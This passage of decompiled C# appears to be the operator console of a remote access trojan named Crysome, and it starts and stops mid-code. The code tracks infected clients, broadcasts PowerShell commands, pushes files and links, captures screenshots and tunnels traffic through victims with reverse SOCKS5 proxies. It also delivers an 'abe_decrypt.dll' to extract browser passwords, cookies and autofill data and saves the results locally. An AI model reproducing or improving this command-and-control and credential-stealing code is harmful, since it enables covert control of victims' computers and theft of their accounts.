PingRequestPacket(Environment.TickCount64)); } catch { } }, Array.Empty()); } private void HandleSystemInfo(CrysomeClient sender, IPacket packet) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_0020: Expected O, but got Unknown GetSystemInfoResponsePacket p = (GetSystemInfoResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); if (clientInfo != null) { clientInfo.Identifier = p.Identifier ?? ""; clientInfo.Username = p.Username ?? ""; clientInfo.ComputerName = p.ComputerName ?? ""; clientInfo.OS = p.OS ?? ""; } }, Array.Empty()); } private void HandlePingResponse(CrysomeClient sender, IPacket packet) { //IL_0015: Unknown result type (might be due to invalid IL or missing references) //IL_001b: Expected O, but got Unknown PingResponsePacket val = (PingResponsePacket)packet; long tickCount = Environment.TickCount64; int rtt = (int)(tickCount - val.ServerTick); if (rtt < 0 || rtt > 30000) { return; } ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.AddPingSample(rtt); }, Array.Empty()); } private void HandleCommandResponse(CrysomeClient sender, IPacket packet) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_0020: Expected O, but got Unknown RunCommandResponsePacket p = (RunCommandResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { if (_shellOutputCallbacks.TryGetValue(sender, out var value)) { _shellOutputCallbacks.Remove(sender); value(p.Output ?? ""); } else { ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); string text = ((clientInfo != null) ? clientInfo.Address : "?"); Log("CMD [" + text + "]: " + (p.Output ?? "").Substring(0, Math.Min((p.Output ?? "").Length, 500)), "CMD"); } }, Array.Empty()); } public void SendShellCommand(ClientInfo client, string command, Action onOutput) { //IL_002b: Unknown result type (might be due to invalid IL or missing references) //IL_0035: Expected O, but got Unknown if (client?.Owner == null || onOutput == null) { return; } _shellOutputCallbacks[client.Owner] = onOutput; try { client.Owner.SendPacket((IPacket)new RunCommandRequestPacket(command)); } catch { _shellOutputCallbacks.Remove(client.Owner); } } private void HandleFileResponse(CrysomeClient sender, IPacket packet) { //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0019: Expected O, but got Unknown FileTransferResponsePacket p = (FileTransferResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { Log("File result: " + p.Status, "FILE"); }, Array.Empty()); } private void HandleFtSack(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown FtSackPacket val = (FtSackPacket)packet; if (_activeSenders.TryGetValue(val.TransferId, out var value)) { value.HandleSack(val); } } private void HandleFtDone(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown FtDonePacket val = (FtDonePacket)packet; if (_activeSenders.TryRemove(val.TransferId, out var value)) { value.HandleDone(val); } } private void HandleDirectLinkResponse(CrysomeClient sender, IPacket packet) { //IL_000f: Unknown result type (might be due to invalid IL or missing references) //IL_0019: Expected O, but got Unknown DirectLinkResponsePacket p = (DirectLinkResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { Log("DirectLink result: " + p.Status, "FILE"); }, Array.Empty()); } private void InfoTimer_Tick(object sender, EventArgs e) { //IL_0083: Unknown result type (might be due to invalid IL or missing references) //IL_008d: Expected O, but got Unknown //IL_0099: Unknown result type (might be due to invalid IL or missing references) //IL_00a3: Expected O, but got Unknown if (server == null || !server.Listening) { return; } try { int count = allClients.Count; if (count == 0) { return; } int num = 15; if (infoRobin >= count) { infoRobin = 0; } int num2 = Math.Min(infoRobin + num, count); for (int i = infoRobin; i < num2; i++) { ClientInfo clientInfo = allClients[i]; if (clientInfo.Owner != null && clientInfo.Owner.IsConnected) { try { clientInfo.Owner.SendPacket((IPacket)new ClientInfoRequestPacket()); clientInfo.Owner.SendPacket((IPacket)new PingRequestPacket(Environment.TickCount64)); } catch { } } } infoRobin = ((num2 < count) ? num2 : 0); ClientCount = allClients.Count; } catch { } } private void RefreshClientList() { _pendingUpdates = true; } private void ProcessClientUpdates(object sender, EventArgs e) { if (!_pendingUpdates) { return; } _pendingUpdates = false; try { IEnumerable source = allClients.AsEnumerable(); if (!string.IsNullOrEmpty(_filterCountry) && _filterCountry != "All") { source = source.Where((ClientInfo c) => string.Equals(c.CountryCode, _filterCountry, StringComparison.OrdinalIgnoreCase)); } if (!string.IsNullOrEmpty(_filterOS) && _filterOS != "All") { source = source.Where((ClientInfo c) => (c.OS ?? "").IndexOf(_filterOS, StringComparison.OrdinalIgnoreCase) >= 0); } if (!string.IsNullOrEmpty(_filterGroup) && _filterGroup != "All") { source = source.Where((ClientInfo c) => string.Equals(c.Group ?? "", _filterGroup, StringComparison.OrdinalIgnoreCase)); } if (!string.IsNullOrEmpty(_filterPing) && _filterPing != "All") { switch (_filterPing) { case "Good (<100ms)": source = source.Where((ClientInfo c) => c.PingValue > 0 && c.PingValue < 100); break; case "Medium (<300ms)": source = source.Where((ClientInfo c) => c.PingValue >= 100 && c.PingValue < 300); break; case "High (>300ms)": source = source.Where((ClientInfo c) => c.PingValue >= 300); break; } } UniqueCountriesCount = (from c in allClients select c.CountryCode ?? "" into s where s.Length > 0 select s).Distinct().Count(); List list = (from c in allClients where c.PingValue > 0 select c.PingValue).ToList(); AveragePing = ((list.Count > 0) ? ((int)list.Average()) : 0); ActiveWindowsCount = allClients.Count((ClientInfo c) => !string.IsNullOrWhiteSpace(c.ActiveWindow)); List second = (from x in (from c in allClients select c.Group ?? "" into s where s.Length > 0 select s).Distinct() orderby x select x).ToList(); string filterGroup = _filterGroup; _isRefreshingClientList = true; SyncCollection(FilterGroupOptions, new List { "All" }.Concat(second).ToList()); _filterGroup = (FilterGroupOptions.Contains(filterGroup) ? filterGroup : "All"); OnPropertyChanged("FilterGroup"); _isRefreshingClientList = false; List list2 = source.OrderByDescending((ClientInfo c) => c.IsPinned).ToList(); int num = 0; foreach (ClientInfo item in list2) { int num2 = Clients.IndexOf(item); if (num2 < 0) { Clients.Insert(num, item); } else if (num2 != num) { Clients.Move(num2, num); } num++; } while (Clients.Count > list2.Count) { Clients.RemoveAt(Clients.Count - 1); } UpdateFilterOptionsInternal(); } catch { } } private void UpdateFilterOptions() { _pendingUpdates = true; } private void UpdateFilterOptionsInternal() { HashSet currentCountries = new HashSet(FilterCountryOptions); HashSet currentOSes = new HashSet(FilterOSOptions); List list = (from x in (from c in allClients select (c.CountryCode ?? "").Trim() into s where s.Length > 0 select s).Distinct() orderby x select x).ToList(); List list2 = (from x in (from c in allClients select (c.OS ?? "").Trim() into s where s.Length > 0 select s).Distinct() orderby x select x).ToList(); bool flag = list.Count + 1 != currentCountries.Count || list.Any((string c) => !currentCountries.Contains(c)); bool flag2 = list2.Count + 1 != currentOSes.Count || list2.Any((string o) => !currentOSes.Contains(o)); bool isRefreshingClientList = _isRefreshingClientList; _isRefreshingClientList = true; try { if (flag) { string filterCountry = _filterCountry; SyncCollection(AvailableCountries, list); SyncCollection(FilterCountryOptions, new List { "All" }.Concat(list).ToList()); _filterCountry = (FilterCountryOptions.Contains(filterCountry) ? filterCountry : "All"); OnPropertyChanged("FilterCountry"); } if (flag2) { string filterOS = _filterOS; SyncCollection(AvailableOSes, list2); SyncCollection(FilterOSOptions, new List { "All" }.Concat(list2).ToList()); _filterOS = (FilterOSOptions.Contains(filterOS) ? filterOS : "All"); OnPropertyChanged("FilterOS"); } } finally { _isRefreshingClientList = isRefreshingClientList; } } private static void SyncCollection(ObservableCollection target, List source) { target.Clear(); foreach (string item in source) { target.Add(item); } } private void DoAddBlocklist() { string text = (NewBlocklistIP ?? "").Trim(); if (string.IsNullOrEmpty(text)) { return; } if (store.BlockedIPs.Contains(text)) { EnqueueStatus("Already blocked"); return; } store.BlockedIPs.Add(text); store.SaveBlocked(); BlockedIPsList.Clear(); foreach (string item in store.BlockedIPs.OrderBy((string x) => x)) { BlockedIPsList.Add(item); } NewBlocklistIP = ""; Log("Added to blocklist: " + text, "SYS"); EnqueueStatus("Blocked " + text); } private void DoRemoveBlocklist(string ip) { if (!string.IsNullOrEmpty(ip)) { store.BlockedIPs.Remove(ip); store.SaveBlocked(); BlockedIPsList.Remove(ip); Log("Removed from blocklist: " + ip, "SYS"); } } private void DoRemoveBlocklist() { string blocklistSelectedIP = BlocklistSelectedIP; if (string.IsNullOrEmpty(blocklistSelectedIP)) { EnqueueStatus("Select an IP to unblock"); } else { DoRemoveBlocklist(blocklistSelectedIP); } } private void DoBlockSelectedClient() { ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo == null) { EnqueueStatus("Select a client to block"); return; } string address = clientInfo.Address; if (store.BlockedIPs.Contains(address)) { EnqueueStatus("Already blocked"); return; } store.BlockedIPs.Add(address); store.SaveBlocked(); BlockedIPsList.Clear(); foreach (string item in store.BlockedIPs.OrderBy((string x) => x)) { BlockedIPsList.Add(item); } try { server?.DisconnectClient(clientInfo.Owner); } catch { } Log("Blocked and disconnected: " + address, "SYS"); EnqueueStatus("Blocked " + address); } private IEnumerable GetSelectedOrAll(bool all) { if (all) { return allClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected); } return _selectedClients.Where((ClientInfo c) => c.Owner != null && c.Owner.IsConnected); } private void DoSendCommand(bool all) { //IL_003c: Unknown result type (might be due to invalid IL or missing references) //IL_0046: Expected O, but got Unknown string text = PromptInput("Send PowerShell Command", "Enter command:"); if (string.IsNullOrEmpty(text)) { return; } foreach (ClientInfo item in GetSelectedOrAll(all)) { try { item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(text)); Log("Sent cmd to " + item.Address + ": " + text, "CMD"); } catch { } } _lastCmd = text; } private async void DoSendFile(bool all) { OpenFileDialog openFileDialog = new OpenFileDialog { Filter = "All files|*.*" }; if (openFileDialog.ShowDialog() != true) { return; } string path = openFileDialog.FileName; byte[] data; try { data = await Task.Run(() => File.ReadAllBytes(path)); } catch (Exception ex) { Exception ex2 = ex; Exception ex3 = ex2; ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { Log("Send file error: " + ex3.Message, "FILE"); }); return; } ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { //IL_0106: Unknown result type (might be due to invalid IL or missing references) //IL_010d: Expected O, but got Unknown long num = (long)store.Settings.MaxSendFileSizeMB * 1024L * 1024; if (num > 0 && data.Length > num) { Log("File too large (limit " + store.Settings.MaxSendFileSizeMB + " MB)", "FILE"); } else { string name = Path.GetFileName(path); int num2 = Math.Max(1, (data.Length + 1200 - 1) / 1200); foreach (ClientInfo c in GetSelectedOrAll(all)) { try { FtSender val = new FtSender(c.Owner, name, data); val.OnDone = delegate(uint id, bool ok, string msg) { ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { Log((ok ? "File delivered" : "File failed") + " [" + name + "] → " + c.Address + ": " + msg, "FILE"); }, Array.Empty()); }; _activeSenders[val.TransferId] = val; val.Start(); Log("Sending [" + name + "] to " + c.Address + " (" + num2 + " chunks × " + 1200 + " B)", "FILE"); } catch (Exception ex4) { Log("Send file error: " + ex4.Message, "FILE"); } } _lastFilePath = path; } }); } private void DoDirectLink(bool all) { //IL_003c: Unknown result type (might be due to invalid IL or missing references) //IL_0046: Expected O, but got Unknown string text = PromptInput("Direct Link", "Enter URL:"); if (string.IsNullOrEmpty(text)) { return; } foreach (ClientInfo item in GetSelectedOrAll(all)) { try { item.Owner.SendPacket((IPacket)new DirectLinkRequestPacket(text)); Log("Sent link to " + item.Address + ": " + text, "FILE"); } catch { } } } private void DoCopySummary() { ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo != null) { Clipboard.SetText(clientInfo.Address + "\t" + clientInfo.Username + "\t" + clientInfo.OS + "\t" + clientInfo.PingDisplay + "\t" + clientInfo.Uptime); Log("Copied summary", "SYS"); } } private void DoPinToTop() { ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo != null) { string address = clientInfo.Address; if (store.PinnedIPs.Contains(address)) { store.PinnedIPs.Remove(address); clientInfo.IsPinned = false; } else { store.PinnedIPs.Add(address); clientInfo.IsPinned = true; } store.SavePinned(); RefreshClientList(); } } private void DoExportSelection() { List list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List { SelectedClient } : null)); if (list == null || list.Count == 0) { return; } SaveFileDialog saveFileDialog = new SaveFileDialog { Filter = "CSV|*.csv", FileName = "export.csv" }; if (saveFileDialog.ShowDialog() != true) { return; } List list2 = new List { "IP\tUser\tOS\tPing\tUptime\tGroup\tNotes" }; foreach (ClientInfo item in list) { list2.Add(item.Address + "\t" + item.Username + "\t" + item.OS + "\t" + item.PingDisplay + "\t" + item.Uptime + "\t" + item.Group + "\t" + item.Notes); } File.WriteAllLines(saveFileDialog.FileName, list2); Log("Exported to " + saveFileDialog.FileName, "SYS"); } private void DoMute30() { ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo != null) { string address = clientInfo.Address; clientInfo.IsMuted = true; clientInfo.MuteUntil = DateTime.Now.AddMinutes(30.0); store.MutedIPs[address] = SelectedClient.MuteUntil; store.SaveMuted(); Log("Muted " + address + " for 30 min", "SYS"); } } private void DoQuickHealth() { //IL_0021: Unknown result type (might be due to invalid IL or missing references) //IL_002b: Expected O, but got Unknown foreach (ClientInfo item in GetSelectedOrAll(all: false)) { try { item.Owner.SendPacket((IPacket)new RunCommandRequestPacket("Get-CimInstance Win32_OperatingSystem | Select-Object Caption,LastBootUpTime")); } catch { } } } private void DoRepeatLastCmd() { //IL_003b: Unknown result type (might be due to invalid IL or missing references) //IL_0045: Expected O, but got Unknown if (string.IsNullOrEmpty(_lastCmd)) { EnqueueStatus("No previous command"); return; } foreach (ClientInfo item in GetSelectedOrAll(all: false)) { try { item.Owner.SendPacket((IPacket)new RunCommandRequestPacket(_lastCmd)); } catch { } } } private async void DoRepeatLastFile() { if (string.IsNullOrEmpty(_lastFilePath) || !File.Exists(_lastFilePath)) { EnqueueStatus("No previous file"); return; } string path = _lastFilePath; byte[] data; try { data = await Task.Run(() => File.ReadAllBytes(path)); } catch (Exception ex) { Exception ex2 = ex; Exception ex3 = ex2; ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { Log("Repeat file error: " + ex3.Message, "FILE"); }); return; } ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate { //IL_0034: Unknown result type (might be due to invalid IL or missing references) //IL_003e: Expected O, but got Unknown string fileName = Path.GetFileName(path); foreach (ClientInfo item in GetSelectedOrAll(all: false)) { try { item.Owner.SendPacket((IPacket)new FileTransferRequestPacket(fileName, data)); } catch { } } }); } private void DoAnnounceToggle() { ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo != null) { string address = clientInfo.Address; if (store.AnnounceIPs.Contains(address)) { store.AnnounceIPs.Remove(address); clientInfo.IsAnnounce = false; } else { store.AnnounceIPs.Add(address); clientInfo.IsAnnounce = true; } store.SaveAnnounce(); } } private void DoEditNote() { ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo != null) { string text = PromptInput("Note for " + clientInfo.Address, "Enter note:", clientInfo.Notes); if (text != null) { clientInfo.Notes = text; store.Notes[clientInfo.Address] = text; store.SaveNotes(); } } } private void DoSocks5Proxy() { //IL_0179: Unknown result type (might be due to invalid IL or missing references) //IL_0183: Expected O, but got Unknown //IL_0292: Unknown result type (might be due to invalid IL or missing references) //IL_0297: Unknown result type (might be due to invalid IL or missing references) //IL_02af: Expected O, but got Unknown List list = GetSelectedOrAll(all: false).ToList(); if (!list.Any()) { EnqueueStatus("No client selected"); return; } int num = 0; _proxyResultsForModal.Clear(); foreach (ClientInfo c in list) { try { if (c.Owner == null) { continue; } if (_reverseProxyState.TryGetValue(c.Owner, out var value)) { StopReverseProxy(c.Owner, value); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { c.ProxyActive = false; }, Array.Empty()); Log("Stopping reverse proxy on " + c.Address, "PROXY"); continue; } TcpListener tcpListener = new TcpListener(IPAddress.Loopback, 0); tcpListener.Start(); int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port; ReverseProxyState state = new ReverseProxyState { Listener = tcpListener, Owner = c.Owner, Running = true }; _reverseProxyState[c.Owner] = state; c.Owner.SendPacket((IPacket)new StartReverseProxyPacket(port)); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { c.ProxyActive = true; }, Array.Empty()); Log("Reverse proxy on " + c.Address + " -> 127.0.0.1:" + port, "PROXY"); _proxyResultsForModal.Add(("127.0.0.1", port.ToString())); num++; CrysomeClient owner = c.Owner; Task.Run(delegate { ReverseProxyAcceptLoop(state, owner); }); } catch (Exception ex) { Log("Proxy error on " + c.Address + ": " + ex.Message, "PROXY"); } } if (num > 0) { _proxyStartCount = num; DispatcherTimer proxyModalTimer = _proxyModalTimer; if (proxyModalTimer != null) { proxyModalTimer.Stop(); } _proxyModalTimer = new DispatcherTimer { Interval = TimeSpan.FromMilliseconds(500L, 0L) }; _proxyModalTimer.Tick += delegate { _proxyModalTimer.Stop(); ShowProxyResultsModal(); }; _proxyModalTimer.Start(); } } private void StopReverseProxy(CrysomeClient owner, ReverseProxyState state) { //IL_005e: Unknown result type (might be due to invalid IL or missing references) //IL_0068: Expected O, but got Unknown //IL_0090: Unknown result type (might be due to invalid IL or missing references) //IL_009a: Expected O, but got Unknown state.Running = false; try { state.Listener?.Stop(); } catch { } state.Listener = null; KeyValuePair[] array = state.Connections.ToArray(); for (int i = 0; i < array.Length; i++) { KeyValuePair keyValuePair = array[i]; try { keyValuePair.Value?.Close(); } catch { } try { owner.SendPacket((IPacket)new ReverseProxyEndPacket(keyValuePair.Key)); } catch { } } state.Connections.Clear(); _reverseProxyState.Remove(owner); try { owner.SendPacket((IPacket)new StopProxyRequestPacket()); } catch { } } private void ReverseProxyAcceptLoop(ReverseProxyState state, CrysomeClient owner) { //IL_00ba: Unknown result type (might be due to invalid IL or missing references) //IL_00c4: Expected O, but got Unknown try { while (state.Running && state.Listener != null) { TcpClient browser; try { browser = state.Listener.AcceptTcpClient(); } catch { break; } if (!state.Running) { browser.Close(); break; } int connId = Interlocked.Increment(ref state.NextConnectionId); state.Connections[connId] = browser; try { owner.SendPacket((IPacket)new ReverseProxyStartPacket(connId)); } catch { browser.Close(); state.Connections.TryRemove(connId, out var _); continue; } NetworkStream stream = browser.GetStream(); byte[] buf = new byte[8192]; Task.Run(delegate { //IL_009e: Unknown result type (might be due to invalid IL or missing references) //IL_00a8: Expected O, but got Unknown //IL_0028: Unknown result type (might be due to invalid IL or missing references) //IL_0032: Expected O, but got Unknown try { int num; while (state.Running && (num = stream.Read(buf, 0, buf.Length)) > 0) { byte[] array = new byte[num]; Array.Copy(buf, array, num); try { owner.SendPacket((IPacket)new ReverseProxyDataPacket(connId, array)); } catch { break; } } } catch { } finally { state.Connections.TryRemove(connId, out var _); try { owner.SendPacket((IPacket)new ReverseProxyEndPacket(connId)); } catch { } try { browser.Close(); } catch { } } }); } } catch { } } private void HandleReverseProxyData(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown //IL_007a: Unknown result type (might be due to invalid IL or missing references) //IL_0084: Expected O, but got Unknown ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet; if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryGetValue(val.ConnectionId, out var value2)) { return; } try { NetworkStream stream = value2.GetStream(); if (val.Data != null && val.Data.Length != 0) { stream.Write(val.Data, 0, val.Data.Length); } } catch { value.Connections.TryRemove(val.ConnectionId, out var _); try { sender.SendPacket((IPacket)new ReverseProxyEndPacket(val.ConnectionId)); } catch { } try { value2.Close(); } catch { } } } private void HandleReverseProxyEnd(CrysomeClient sender, IPacket packet) { //IL_0001: Unknown result type (might be due to invalid IL or missing references) //IL_0007: Expected O, but got Unknown ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet; if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryRemove(val.ConnectionId, out var value2)) { return; } try { value2.Close(); } catch { } } private static string ParsePortFromProxyMessage(string message) { if (string.IsNullOrEmpty(message)) { return "?"; } Match match = Regex.Match(message, "port\\s+(\\d+)", RegexOptions.IgnoreCase); if (!match.Success) { return "?"; } return match.Groups[1].Value; } private void ShowProxyResultsModal() { DispatcherTimer proxyModalTimer = _proxyModalTimer; if (proxyModalTimer != null) { proxyModalTimer.Stop(); } _proxyModalTimer = null; _proxyStartCount = 0; if (_proxyResultsForModal.Count == 0) { return; } List<(string Address, string Port)> copy = new List<(string, string)>(_proxyResultsForModal); _proxyResultsForModal.Clear(); string title = ((copy.Count == 1) ? "SOCKS5 Proxy ready" : "SOCKS5 Proxies ready"); StringBuilder stringBuilder = new StringBuilder(); stringBuilder.AppendLine("Use these addresses in your browser or proxy settings (SOCKS5)."); stringBuilder.AppendLine("Use 127.0.0.1:port on this machine (where Crysome Server runs)."); stringBuilder.AppendLine(); foreach (var (text, text2) in copy) { stringBuilder.AppendLine(text + ":" + text2); } string body = stringBuilder.ToString().TrimEnd(); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { Window obj = new Window { Title = title, Width = 420.0, MinWidth = 360.0, Height = ((copy.Count == 1) ? 220 : Math.Min(400, 180 + copy.Count * 28)), WindowStartupLocation = WindowStartupLocation.CenterOwner, Owner = Application.Current.MainWindow, ResizeMode = ResizeMode.CanResize, Background = Brushes.Black }; StackPanel stackPanel = new StackPanel { Margin = new Thickness(16.0) }; stackPanel.Children.Add(new TextBlock { Text = body, TextWrapping = TextWrapping.Wrap, Foreground = Brushes.White, FontFamily = new FontFamily("Consolas"), FontSize = 13.0, Margin = new Thickness(0.0, 0.0, 0.0, 12.0) }); Button button = new Button { Content = "Copy to clipboard", Width = 140.0, HorizontalAlignment = HorizontalAlignment.Left }; button.Click += delegate { try { Clipboard.SetText(body); } catch { } }; stackPanel.Children.Add(button); obj.Content = stackPanel; obj.Show(); }, Array.Empty()); } private void HandleProxyStatus(object sender, IPacket packet) { //IL_0016: Unknown result type (might be due to invalid IL or missing references) //IL_0020: Expected O, but got Unknown ProxyStatusResponsePacket resp = (ProxyStatusResponsePacket)packet; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => (object)c.Owner == (object)(CrysomeClient)sender); if (clientInfo != null) { clientInfo.ProxyActive = resp.Active; Log("Proxy on " + clientInfo.Address + ": " + resp.Message, "PROXY"); if (resp.Active && _proxyStartCount > 0) { string item = ParsePortFromProxyMessage(resp.Message); _proxyResultsForModal.Add((clientInfo.Address, item)); if (_proxyResultsForModal.Count >= _proxyStartCount) { DispatcherTimer proxyModalTimer = _proxyModalTimer; if (proxyModalTimer != null) { proxyModalTimer.Stop(); } _proxyModalTimer = null; _proxyStartCount = 0; ShowProxyResultsModal(); } } } }, Array.Empty()); } private void DoRestart() { //IL_002c: Unknown result type (might be due to invalid IL or missing references) //IL_0036: Expected O, but got Unknown ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); if (clientInfo?.Owner == null) { return; } try { clientInfo.Owner.SendPacket((IPacket)new RestartRequestPacket()); } catch { } } private void DoTakeScreenshot() { //IL_0084: Unknown result type (might be due to invalid IL or missing references) //IL_008e: Expected O, but got Unknown List list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List { SelectedClient } : null)); if (list == null || list.Count == 0) { EnqueueStatus("Select one or more clients"); return; } foreach (ClientInfo item in list.Where((ClientInfo x) => x?.Owner != null)) { try { item.Owner.SendPacket((IPacket)new TakeScreenshotRequestPacket()); Log("Screenshot requested: " + item.Address, "SYS"); } catch (Exception ex) { Log("Screenshot request failed " + item.Address + ": " + ex.Message, "SYS"); } } if (list.Count > 0) { EnqueueStatus("Screenshot requested from " + list.Count + " client(s)"); } } private void HandleScreenshotResponse(CrysomeClient sender, IPacket packet) { //IL_000e: Unknown result type (might be due to invalid IL or missing references) //IL_0014: Expected O, but got Unknown TakeScreenshotResponsePacket val = (TakeScreenshotResponsePacket)packet; ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); string title = ((clientInfo != null) ? ("Screenshot — " + clientInfo.Address) : ("Screenshot — " + (sender.RemoteAddress?.Address?.ToString() ?? "?"))); byte[] data = ((val != null) ? val.ImageData : null); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { ScreenshotViewerWindow screenshotViewerWindow = new ScreenshotViewerWindow(title, data); ((Window)(object)screenshotViewerWindow).Owner = Application.Current.MainWindow; ((Window)(object)screenshotViewerWindow).Show(); }, Array.Empty()); } private static byte[] LoadAbeDecryptDllBytes() { try { Assembly executingAssembly = Assembly.GetExecutingAssembly(); string text = executingAssembly.GetManifestResourceNames().FirstOrDefault((string n) => n.EndsWith("abe_decrypt.dll", StringComparison.OrdinalIgnoreCase)); if (text != null) { using Stream stream = executingAssembly.GetManifestResourceStream(text); if (stream != null && stream.Length > 0) { byte[] array = new byte[stream.Length]; if (stream.Read(array, 0, array.Length) == array.Length) { return array; } } } string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; string[] array2 = new string[3] { Path.Combine(baseDirectory, "abe_decrypt.dll"), Path.Combine(baseDirectory, "Resources", "abe_decrypt.dll"), Path.Combine(baseDirectory, "..", "Resources", "abe_decrypt.dll") }; foreach (string path in array2) { if (File.Exists(path)) { return File.ReadAllBytes(path); } } } catch { } return null; } private void DoRequestCredentials(byte requestType) { //IL_00ce: Unknown result type (might be due to invalid IL or missing references) //IL_00d5: Expected O, but got Unknown List list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List { SelectedClient } : null)); if (list == null || list.Count == 0) { EnqueueStatus("Select one or more clients"); return; } byte[] array = LoadAbeDecryptDllBytes(); if (array == null || array.Length == 0) { EnqueueStatus("abe_decrypt.dll not found. Place it in Crysome.Server output folder, Resources subfolder, or add to Resources and rebuild."); return; } List list2 = list.Where((ClientInfo x) => x?.Owner != null).ToList(); int count = list2.Count; foreach (ClientInfo c in list2) { try { FtSender val = new FtSender(c.Owner, "abe_decrypt.dll", array); byte rt = requestType; string addr = c.Address; val.OnDone = delegate(uint id, bool ok, string msg) { //IL_0040: Unknown result type (might be due to invalid IL or missing references) //IL_004a: Expected O, but got Unknown _activeSenders.TryRemove(id, out var _); if (ok) { try { c.Owner.SendPacket((IPacket)new RequestCredentialsPacket(rt, (byte[])null)); ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { Log("DLL delivered, credentials requested: " + addr, "SYS"); }, Array.Empty()); return; } catch (Exception ex2) { Exception ex3 = ex2; Exception ex4 = ex3; ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { Log("Credential request failed " + addr + ": " + ex4.Message, "SYS"); }, Array.Empty()); return; } } ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { Log("DLL transfer failed " + addr + ": " + msg, "SYS"); }, Array.Empty()); }; _activeSenders[val.TransferId] = val; val.Start(); Log("Sending DLL to " + addr + " (" + array.Length + " B, " + val.TotalChunks + " chunks)...", "SYS"); } catch (Exception ex) { Log("Credentials request failed " + c.Address + ": " + ex.Message, "SYS"); } } EnqueueStatus("Credentials requested from " + count + " client(s). DLL transferring..."); } private void HandleCredentialsResponse(CrysomeClient sender, IPacket packet) { //IL_000e: Unknown result type (might be due to invalid IL or missing references) //IL_0014: Expected O, but got Unknown CredentialsResponsePacket val = (CredentialsResponsePacket)packet; ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); string title = ((clientInfo != null) ? ("Credentials — " + clientInfo.Address) : ("Credentials — " + (sender.RemoteAddress?.Address?.ToString() ?? "?"))); string err = ((val != null) ? val.ErrorMessage : null) ?? ""; string pw = ((val != null) ? val.PasswordsJson : null) ?? ""; string ck = ((val != null) ? val.CookiesJson : null) ?? ""; string af = ((val != null) ? val.AutofillsJson : null) ?? ""; try { string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "credentials"); Directory.CreateDirectory(text); string text2 = string.Concat((clientInfo?.Address ?? "unknown").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c))); string text3 = DateTime.Now.ToString("yyyyMMdd_HHmmss"); if (!string.IsNullOrWhiteSpace(pw)) { File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_passwords.json"), pw); } if (!string.IsNullOrWhiteSpace(ck)) { File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_cookies.json"), ck); } if (!string.IsNullOrWhiteSpace(af)) { File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_autofills.json"), af); } } catch { } ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate { CredentialsViewerWindow credentialsViewerWindow = new CredentialsViewerWindow(title, pw, ck, af, string.IsNullOrEmpty(err) ? null : err); ((Window)(object)credentialsViewerWindow).Owner = Application.Current.MainWindow; ((Window)(object)credentialsViewerWindow).Show(); }, 